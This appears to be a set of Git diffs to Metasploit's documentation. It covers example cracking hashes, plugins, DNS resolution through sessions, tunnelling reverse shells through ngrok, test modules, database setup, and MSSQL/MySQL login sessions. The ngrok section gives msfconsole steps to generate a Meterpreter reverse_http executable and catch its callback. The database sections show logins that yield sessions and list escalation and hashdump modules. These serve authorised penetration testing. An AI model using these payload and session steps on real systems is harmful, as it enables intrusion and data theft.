||||
| MediaWiki | mediawiki_hashcat | `$B$56668501$0ce106caa70af57fd525aeaf80ef2898` | hashcat | mediawiki | | modules/auxiliary/analyze/crack_webapps |
|
||||
| PHPPass (P type) | phpass_p_hashcat | `$P$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
|
||||
| PHPPass (H type) | phpass_h_hashcat | `$H$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
|
||||
| Atlassian | atlassian_hashcat | `{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa` | hashcat | PBKDF2-HMAC-SHA1 | | modules/auxiliary/analyze/crack_webapps |
|
||||
|
||||
# Adding a New Hash
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ plugin_name_command --option
|
||||
|
||||
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
|
||||
|
||||
| name | Description |
|
||||
| Name | Description |
|
||||
|------------------|-----------------------------------------------------------------------------------------------------|
|
||||
| aggregator | Interacts with the external Session Aggregator |
|
||||
| alias | Adds the ability to alias console commands |
|
||||
@@ -30,6 +30,7 @@ The current available plugins for Metasploit can be found by running the `load -
|
||||
| db_tracker | Monitors socket calls and updates the database backend |
|
||||
| event_tester | Internal test tool used to verify the internal framework event subscriber logic works |
|
||||
| ffautoregen | This plugin reloads and re-executes a file-format exploit module once it has changed |
|
||||
| fzuse | A plugin offering a fuzzy use command |
|
||||
| ips_filter | Scans all outgoing data to see if it matches a known IPS signature |
|
||||
| lab | Adds the ability to manage VMs |
|
||||
| libnotify | Send desktop notification with libnotify on sessions and db events |
|
||||
@@ -42,12 +43,12 @@ The current available plugins for Metasploit can be found by running the `load -
|
||||
| request | Make requests from within Metasploit using various protocols. |
|
||||
| rssfeed | Create an RSS feed of events |
|
||||
| sample | Demonstrates using framework plugins |
|
||||
| session_notifier | This plugin notifies you of a new session via SMS |
|
||||
| session_notifier | This plugin notifies you of a new session via SMS |
|
||||
| session_tagger | Automatically interacts with new sessions to create a new remote TaggedByUser file |
|
||||
| socket_logger | Log socket operations to a directory as individual files |
|
||||
| sounds | Automatically plays a sound when various framework events occur |
|
||||
| sqlmap | sqlmap plugin for Metasploit |
|
||||
| thread | Internal test tool for testing thread usage in Metasploit |
|
||||
| thread | Internal test tool for testing thread usage in Metasploit |
|
||||
| token_adduser | Attempt to add an account using all connected Meterpreter session tokens |
|
||||
| token_hunter | Search all active Meterpreter sessions for specific tokens |
|
||||
| wiki | Outputs stored database values from the current workspace into DokuWiki or MediaWiki format |
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
# Metasploit DNS
|
||||
## Background
|
||||
Most applications that need to handle hostname to IP address lookups rely on the host operating system, either by
|
||||
passing the hostname directly to the socket-creation function or by calling a purpose built API such as `getaddrinfo`.
|
||||
This was also how Metasploit handled name lookups and would only directly communicate with a DNS server when the request
|
||||
was more involved than mapping a hostname to an IPv4 or IPv6 address.
|
||||
|
||||
One flaw in this approach is that when pivoting connections over a session, the DNS lookups would occur through the host
|
||||
on which Metasploit was running instead of the compromised host from which the connection would originate. This lead to
|
||||
two issues, the first being the aforementioned DNS leaks and the second that Metasploit could not always resolve
|
||||
hostnames that the compromised system could.
|
||||
|
||||
Starting in Metasploit 6.4, Metasploit uses an internal DNS resolution system that grants the user a high degree of
|
||||
control over the process of DNS queries.
|
||||
|
||||
## The DNS command
|
||||
Metasploit's DNS configuration is controlled by the `dns` command which has multiple subcommands.
|
||||
|
||||
The current configuration can be printed by running `dns print`:
|
||||
|
||||
```msf6
|
||||
msf6 > dns print
|
||||
Default search domain: N/A
|
||||
Default search list: lab.lan
|
||||
Current cache size: 0
|
||||
|
||||
Resolver rule entries
|
||||
=====================
|
||||
|
||||
# Rule Resolver Comm channel
|
||||
- ---- -------- ------------
|
||||
1 *
|
||||
. \_ static N/A
|
||||
. \_ 127.0.0.53
|
||||
|
||||
|
||||
Static hostnames
|
||||
================
|
||||
|
||||
Hostname IPv4 Address IPv6 Address
|
||||
-------- ------------ ------------
|
||||
localhost 127.0.0.1 ::1
|
||||
\_ 127.1.1.1
|
||||
localhost.localdomain 127.0.0.1 ::1
|
||||
localhost4 127.0.0.1
|
||||
localhost4.localdomain4 127.0.0.1
|
||||
localhost6 ::1
|
||||
localhost6.localdomain6 ::1
|
||||
```
|
||||
|
||||
The `help` subcommand can be used to display the available subcommands. The name of a subcommand can also be specified
|
||||
as an argument to `help` to display additional information about that subcommand, for example `dns help add`.
|
||||
|
||||
Metasploit's DNS system is composed of the following major components: resolver rules, static entries and the cache.
|
||||
|
||||
## DNS Resolver Rules
|
||||
DNS resolver rules are a single wildcard that is associated with zero or more resolver types. When a query name matches
|
||||
the wildcard expression, the associated resolvers are used in succession until one is capable of fulfilling the request.
|
||||
For example, a wildcard pattern of `*.lab.lan` would match `www.lab.lan` and `_ldap._tcp.lab.lan`, but not `lab.lan` or
|
||||
`msflab.lan`. Furthermore, the `*` wildcard pattern matches everything and should be used as a default rule.
|
||||
|
||||
Once a rule that matches the query name is found, the specified resolvers will be tried in order until one is capable of
|
||||
handling the request. Different resolver types can be specified to handle queries in different ways. Rules are listed
|
||||
in numeric order starting at position 1. Rules can be added to or removed from specific positions in a similar manner to
|
||||
how iptables rules can be added to and removed from a specific chain.
|
||||
|
||||
### The Black Hole Resolver
|
||||
The black hole resolver can be used to prevent queries from being resolved. It handles all query types and will prevent
|
||||
resolvers defined after it from being used. The black hole resolver is specified by using the `black-hole` keyword.
|
||||
|
||||
### The Upstream Resolver
|
||||
An upstream resolver can be used by specifying either an IPv4 or IPv6 address. When Metasploit uses this resolver, the
|
||||
defined host will be contacted over the network. A session can optionally be defined through which network traffic will
|
||||
be sent.
|
||||
|
||||
### The System Resolver
|
||||
The system resolver can be used for hostname resolution to either IPv4 or IPv6 addresses by invoking the host operating
|
||||
system's API. This is particularly useful in cases where the system's API is expected to be hooked by an external entity
|
||||
such as proxychains. The system resolver is specified by using the `system` keyword. Queries that can not be fulfilled
|
||||
by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the next resolver that is
|
||||
configured in the rule.
|
||||
|
||||
### The Static Resolver
|
||||
The static resolver can be used for hostname resolution to either IPv4 or IPv6 addresses through a static mapping that
|
||||
is configured within Metasploit. This functionality is analogous to the `hosts` file found on many systems which defines
|
||||
static hostname to IP address associations. The static resolver is specified by using the `static` keyword. Queries that
|
||||
can not be fulfilled by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the
|
||||
next resolver that is configured in the rule.
|
||||
|
||||
See [Static DNS Entries](#static-dns-entries) for configuring static entries.
|
||||
|
||||
### Example Rules
|
||||
|
||||
Define a single rule in the first position to handle all queries through three resolvers, first checking if there is a
|
||||
static entry in Metasploit then using the system resolver and finally specifying an upstream DNS server to handle any
|
||||
other query type.
|
||||
|
||||
```
|
||||
dns add --index 1 --rule * static system 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to the end that will handle all queries for `*.lab.lan` using an upstream server contacted through session
|
||||
1.
|
||||
|
||||
```
|
||||
dns add --rule *.lab.lan --session 1 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to drop all queries for `*.noresolve.lan` using the black hole resolver.
|
||||
|
||||
```
|
||||
dns add --rule *.noresolve.lan black-hole
|
||||
```
|
||||
|
||||
## Static DNS Entries
|
||||
Static entries used by the static resolver are configured through the `add-static` and `remove-static` subcommands. The
|
||||
currently configured entries can be viewed in the `dns print` output and all entries can be flushed with the
|
||||
`flush-static` subcommand. Static entries that are configured are shared across *all* rules in which a static resolver
|
||||
is specified. In order for the static entry to be used, at least one rule must match the hostname, and that rule must be
|
||||
configured to use the static resolver. A single hostname can be associated with multiple IP addresses and the same IP
|
||||
address can be associated with multiple hostnames.
|
||||
|
||||
### Example Static Entries
|
||||
|
||||
Define static entries for `localhost` and common variations.
|
||||
|
||||
```
|
||||
dns add-static localhost 127.0.0.1 ::1
|
||||
dns add-static localhost4 127.0.0.1
|
||||
dns add-static localhost6 ::1
|
||||
```
|
||||
|
||||
Remove all static entries for `localhost`.
|
||||
|
||||
```
|
||||
dns remove-static localhost
|
||||
```
|
||||
|
||||
Remove all static entries.
|
||||
|
||||
```
|
||||
dns flush-static
|
||||
```
|
||||
|
||||
## The DNS Cache
|
||||
DNS query replies are cached internally by Metasploit based on their TTL. This intends to minimize the amount of network
|
||||
traffic required to perform the necessary lookups. The number of query replies that are currently cached is available in
|
||||
the `dns print` output and all replies can be flushed with the `flush-cache` subcommand.
|
||||
|
||||
## Configuration Management
|
||||
The DNS configuration can be saved using the `save` command from the `msfconsole` command context. Once saved, the
|
||||
settings will be automatically restored the next time Metasploit starts up. Any changes that are made at runtime will be
|
||||
lost when Metasploit exits, unless the `save` command is used.
|
||||
|
||||
### Resetting the Configuration
|
||||
The DNS configuration can be restored to the default state by using the `reset-config` subcommand. The default
|
||||
configuration:
|
||||
|
||||
* Populates the static entries from the host operating system's `hosts` file
|
||||
* Defines a single rule that matches all query names whose first resolver is the `static` resolver and the remaining
|
||||
resolvers are set from the host operating systems' resolv.conf file
|
||||
|
||||
## Resolving hostnames
|
||||
The `resolve` subcommand can be used to resolve a hostname to either an IPv4 or IPv6 address. In doing so, the rule that
|
||||
was used to define the resolvers will be printed allowing the wildcard matching logic to be tested.
|
||||
@@ -0,0 +1,128 @@
|
||||
# Overview
|
||||
[ngrok][1] is a popular service that offers free port-forwarding that is easy to setup without needing to run a
|
||||
dedicated server on a public IP address (as is the case with SSH, socat and other more traditional options. This means
|
||||
that users behind a SNATing device such as a SOHO router can accept reverse shells and other connections without needing
|
||||
to configure port forwarding.
|
||||
|
||||
**WARNING:** The nature of using ngrok is to send traffic through a third party. ngrok and the server which it utilizes
|
||||
are not affiliated with the Metasploit project. Use of ngrok effectively sends traffic through an untrusted third party
|
||||
and should be done with extreme caution. While Meterpreter has offered end-to-end encryption since Metasploit 6.0, other
|
||||
payloads and connections do not.
|
||||
|
||||
ngrok can start multiple types of tunnels. The `tcp` tunnel is compatible with Metasploit's payloads and most closely
|
||||
resembles a traditional port-forwarding configuration. The `http` tunnel type is not compatible with payloads, and
|
||||
should not be used. The `tls` tunnel type may be compatible, but access to it is restricted to the Enterprise and
|
||||
Pay-as-you-go paid plans. This document will focus on the use cases for the `tcp` tunnel type. Note that one limitation
|
||||
is that the public port can not be configured, it is randomly selected by ngrok meaning that the target will need to be
|
||||
able to connect to this high, obscure port which may be prevented by egress filtering.
|
||||
|
||||
## Usage with payloads
|
||||
Use with payloads can be achieved with any of the reverse-connection stagers that accept `LHOST` and `LPORT` options,
|
||||
e.g. reverse_tcp, reverse_http, reverse_https, etc. but not reverse_named_pipe. In the following scenario, ngrok will be
|
||||
used to forward a random public port to the Metasploit listener on port 4444. This scenario assumes that Metasploit and
|
||||
ngrok are running on the same host.
|
||||
|
||||
**NOTE:** At this time, payloads handle DNS hostnames inconsistently. Some are compatible with hostnames while others
|
||||
require IP addresses to be specified as the target to connect to (the `LHOST` option). To ensure the specified payload
|
||||
will work, the hostname provided by ngrok should be resolved to an IP address and the IP address should be used as the
|
||||
value for `LHOST`.
|
||||
|
||||
1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`.
|
||||
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and
|
||||
port number from this line, e.g. `4.tcp.ngrok.io:13779`
|
||||
1. Resolve the hostname from the previous step to an IP address.
|
||||
1. Start msfconsole and use the desired payload or exploit module.
|
||||
* Using `msfconsole` for both generating the payload and handling the connection is recommended over using `msfvenom`
|
||||
for two reasons.
|
||||
1. Using `msfvenom` starts up an instance of the framework to generate the payload, making it a slower process.
|
||||
2. Using `msfconsole` to configure both the payload and handler simultaneously ensures that the options are set for
|
||||
both, eliminating the possibility that they are out of sync.
|
||||
1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to.
|
||||
1. Set the `LPORT` option to the port noted in step 2, `13779` in the example.
|
||||
1. Set the `ReverseListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted
|
||||
from ngrok.
|
||||
1. Set the `ReverseListenerBindPort` option to `4444`.
|
||||
1. Either run the exploit, or generate the payload with the `generate` command and start the handler with `to_handler`
|
||||
|
||||
Once the payload has been executed, either through the exploit or manual means, there should be a open connection seen
|
||||
through the ngrok terminal.
|
||||
|
||||
### Payload Demo
|
||||
|
||||
ngrok side:
|
||||
```
|
||||
$ ngrok tcp localhost:4444
|
||||
ngrok (Ctrl+C to quit)
|
||||
|
||||
Take our ngrok in production survey! https://forms.gle/aXiBFWzEA36DudFn6
|
||||
|
||||
Session Status online
|
||||
Account ????? (Plan: Personal)
|
||||
Version 3.16.0
|
||||
Region United States (us)
|
||||
Latency 33ms
|
||||
Web Interface http://127.0.0.1:4040
|
||||
Forwarding tcp://4.tcp.ngrok.io:17511 -> localhost:4444
|
||||
|
||||
Connections ttl opn rt1 rt5 p50 p90
|
||||
0 0 0.00 0.00 0.00 0.00
|
||||
```
|
||||
|
||||
resolve the hostname `4.tcp.ngrok.io` to an IP address
|
||||
```
|
||||
$ dig +short 4.tcp.ngrok.io
|
||||
192.0.2.1
|
||||
```
|
||||
|
||||
metasploit side:
|
||||
```msf
|
||||
msf6 > use payload/windows/x64/meterpreter/reverse_http
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
|
||||
LHOST => 192.0.2.1
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
|
||||
LPORT => 17511
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
|
||||
ReverseListenerBindAddress => 127.0.0.1
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
|
||||
ReverseListenerBindPort => 4444
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) > to_handler
|
||||
[*] Payload Handler Started as Job 2
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) >
|
||||
[*] Started HTTP reverse handler on http://127.0.0.1:4444
|
||||
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
|
||||
[*] Writing 7168 bytes to ngrok_payload.exe...
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) >
|
||||
[*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ...
|
||||
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400
|
||||
|
||||
msf6 payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: MSFLAB\smcintyre
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Usage with server modules
|
||||
Some modules expect connections to be made to them by the target. These modules can also be used with ngrok, with some
|
||||
slight variations to the payload workflow in regards to their datastore options. Modules that start servers can be
|
||||
identified by using the `SRVHOST` and `SRVPORT` datastore options.
|
||||
|
||||
**NOTE:** Free ngrok plans can only open one tcp tunnel at a time. This means that if the module is an exploit that a
|
||||
tcp tunnel for a reverse-connection payload will not be able to be opened at the same time. Use a second ngrok account
|
||||
to open a second tcp tunnel and follow the steps above for the payload configuration.
|
||||
|
||||
1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`.
|
||||
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and
|
||||
port number from this line, e.g. `4.tcp.ngrok.io:13779`
|
||||
1. Resolve the hostname from the previous step to an IP address.
|
||||
1. Start msfconsole and use the desired module.
|
||||
1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to.
|
||||
1. Set the `SRVPORT` option to the port noted in step 2, `13779` in the example.
|
||||
1. Set the `ListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted
|
||||
from ngrok.
|
||||
1. Set the `ListenerBindPort` option to `4444`.
|
||||
1. Run the module
|
||||
|
||||
[1]: https://ngrok.com/
|
||||
@@ -1,4 +1,8 @@
|
||||
By default test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following:
|
||||
Metasploit offers inbuilt test modules which can be used for verifying Metasploit's post-exploitations work with currently opened sessions.
|
||||
These modules are intended to be used by developers to test updates to ensure they don't break core functionality
|
||||
and should not be used during normal operations. These modules also as part of the automated test suite within pull requests.
|
||||
|
||||
By default the test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following:
|
||||
|
||||
```msf
|
||||
msf6 > loadpath test/modules
|
||||
@@ -9,4 +13,69 @@ Loaded 38 modules:
|
||||
msf6 >
|
||||
```
|
||||
|
||||
These modules are intended to be used by developers to test updates to ensure they don't break core functionality and should not be used during normal operations. If you do happen to break the functionality of one of these modules, it is highly recommended that you look at what you are proposing within your PR and ensure that you are not accidentally breaking unintended functionality. If you do need to break certain functionality in order to add a given feature, and there is no other way to go around this, be sure to let one of the Metasploit team members know this so that appropriate updates can be made to these scripts and any associated code that may be updated by your change (assuming it is has been signed off and approved by the team).
|
||||
The modules can be searched for:
|
||||
|
||||
```msf
|
||||
msf6 > search post/test
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 post/test/cmd_exec . normal No Meterpreter cmd_exec test
|
||||
1 post/test/railgun . normal No Railgun API Tests
|
||||
2 post/test/extapi . normal No Test Meterpreter ExtAPI Stuff
|
||||
3 post/test/get_env . normal No Test Post::Common Get Envs
|
||||
4 post/test/services . normal No Test Post::Windows::Services
|
||||
5 post/test/all . normal No Test all applicable post modules
|
||||
... etc etc ...
|
||||
```
|
||||
|
||||
Example of running the test module against an opened session:
|
||||
|
||||
```
|
||||
msf6 > use post/test/cmd_exec
|
||||
msf6 post(test/cmd_exec) > run session=-1
|
||||
...
|
||||
[*] Testing complete in 2.04 seconds
|
||||
[*] Passed: 6; Failed: 0; Skipped: 0
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
The `post/test/all` module is an aggregate module that can be used to quickly run all of the applicable test modules
|
||||
against a currently open session:
|
||||
|
||||
```msf
|
||||
msf6 post(test/all) > run session=-1
|
||||
|
||||
[*] Applicable modules:
|
||||
Valid modules for x86/windows session 1
|
||||
=======================================
|
||||
|
||||
# Name is_session_platform is_session_type
|
||||
- ---- ------------------- ---------------
|
||||
0 test/railgun_reverse_lookups Yes Yes
|
||||
1 test/search Yes Yes
|
||||
2 test/services Yes Yes
|
||||
3 test/meterpreter Yes Yes
|
||||
4 test/cmd_exec Yes Yes
|
||||
5 test/extapi Yes Yes
|
||||
6 test/file Yes Yes
|
||||
7 test/get_env Yes Yes
|
||||
8 test/railgun Yes Yes
|
||||
9 test/registry Yes Yes
|
||||
10 test/unix No Yes
|
||||
11 test/mssql Yes No
|
||||
12 test/mysql Yes No
|
||||
13 test/postgres Yes No
|
||||
14 test/smb Yes No
|
||||
|
||||
[*] Running test/cmd_exec against session -1
|
||||
[*] --------------------------------------------------------------------------------
|
||||
... etc etc ...
|
||||
|
||||
[*] Running test/extapi against session -1
|
||||
[*] --------------------------------------------------------------------------------
|
||||
... etc etc ...
|
||||
```
|
||||
|
||||
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
|
||||
|
||||
## Using msfdb
|
||||
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
|
||||
```
|
||||
Creating database at /Users/your_current_account_name/.msf4/db
|
||||
Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
Creating initial database schema
|
||||
```
|
||||
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
|
||||
|
||||
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
|
||||
```
|
||||
msf6 > db_status
|
||||
[*] Connected to msf. Connection type: postgresql.
|
||||
```
|
||||
|
||||
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
|
||||
|
||||
```
|
||||
[?] Initial MSF web service account username? [your_current_account_name]:
|
||||
|
||||
@@ -3,11 +3,23 @@
|
||||
Microsoft SQL Server (MSSQL) is a relational database management system. Commonly used in conjunction with web applications
|
||||
and other software that need to persist data. MSSQL is a useful target for data extraction and code execution.
|
||||
|
||||
MySQL is frequently found on port on the following ports:
|
||||
MSSQL is frequently found on port on the following ports:
|
||||
|
||||
- 1433/TCP
|
||||
- 1434/UDP
|
||||
|
||||
For a full list of MSSQL modules run the `search` command within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 > search mssql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mssql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
Environment setup:
|
||||
@@ -26,6 +38,176 @@ use auxiliary/admin/mssql/mssql_sql
|
||||
run rhost=192.168.123.13 username=administrator password=p4$$w0rd sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
|
||||
```
|
||||
|
||||
### Logging in and obtaining a session
|
||||
To log in or obtain an interactive session on an MSSQL instance running on the target, use mssql_login
|
||||
|
||||
```msf
|
||||
use auxiliary/scanner/mssql_login
|
||||
run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password
|
||||
```
|
||||
|
||||
The CreateSession option, when set to true, will result in returning an interactive MSSQL session with the target machine
|
||||
on a successful login:
|
||||
|
||||
```msf
|
||||
[*] 192.168.2.242:1433 - 192.168.2.242:1433 - MSSQL - Starting authentication scanner.
|
||||
[!] 192.168.2.242:1433 - No active DB -- Credential data will not be saved!
|
||||
[+] 192.168.2.242:1433 - 192.168.2.242:1433 - Login Successful: WORKSTATION\user:password
|
||||
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
|
||||
[*] 192.168.2.242:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)
|
||||
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Stand
|
||||
ard 10.0 <X64> (Build 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MSSQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mssql/mssql_enum
|
||||
auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
auxiliary/admin/mssql/mssql_exec
|
||||
auxiliary/admin/mssql/mssql_findandsampledata
|
||||
auxiliary/admin/mssql/mssql_idf
|
||||
auxiliary/admin/mssql/mssql_sql
|
||||
auxiliary/admin/mssql/mssql_sql_file
|
||||
auxiliary/scanner/mssql/mssql_hashdump
|
||||
auxiliary/scanner/mssql/mssql_schemadump
|
||||
exploit/windows/mssql/mssql_payload
|
||||
```
|
||||
|
||||
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query select @@version;
|
||||
query select user_name();
|
||||
query select name from master.dbo.sysdatabases;
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (B
|
||||
uild 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive
|
||||
[*] Starting interactive SQL shell for mssql @ 192.168.2.242:1433 (master)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> select *
|
||||
SQL *> from information_schema.tables
|
||||
SQL *> where table_type = 'BASE TABLE';
|
||||
[*] Executing query: select * from information_schema.tables where table_type = 'BASE TABLE';
|
||||
Response
|
||||
========
|
||||
# TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
|
||||
- ------------- ------------ ---------- ----------
|
||||
0 master dbo spt_fallback_db BASE TABLE
|
||||
1 master dbo spt_fallback_dev BASE TABLE
|
||||
2 master dbo spt_fallback_usg BASE TABLE
|
||||
4 master dbo Users BASE TABLE
|
||||
5 master dbo spt_monitor BASE TABLE
|
||||
6 master dbo MSreplication_options BASE TABLE
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### Link crawling
|
||||
|
||||
Identify if the SQL server has been configured with trusted links, which allows running queries on other MSSQL instances:
|
||||
|
||||
@@ -17,6 +17,12 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search mysql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mysql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment MySQL can either be installed on the host machine or within Docker:
|
||||
@@ -79,6 +85,158 @@ run cidr:/24:mysql://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:mysql://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session on the Target
|
||||
|
||||
The CreateSession option in `auxiliary/scanner/mysql/msql_login` allows you to obtain an interactive session
|
||||
for the MySQL client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session:
|
||||
|
||||
```msf
|
||||
msf6 > use scanner/mysql/mysql_login
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
|
||||
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
|
||||
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
|
||||
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
|
||||
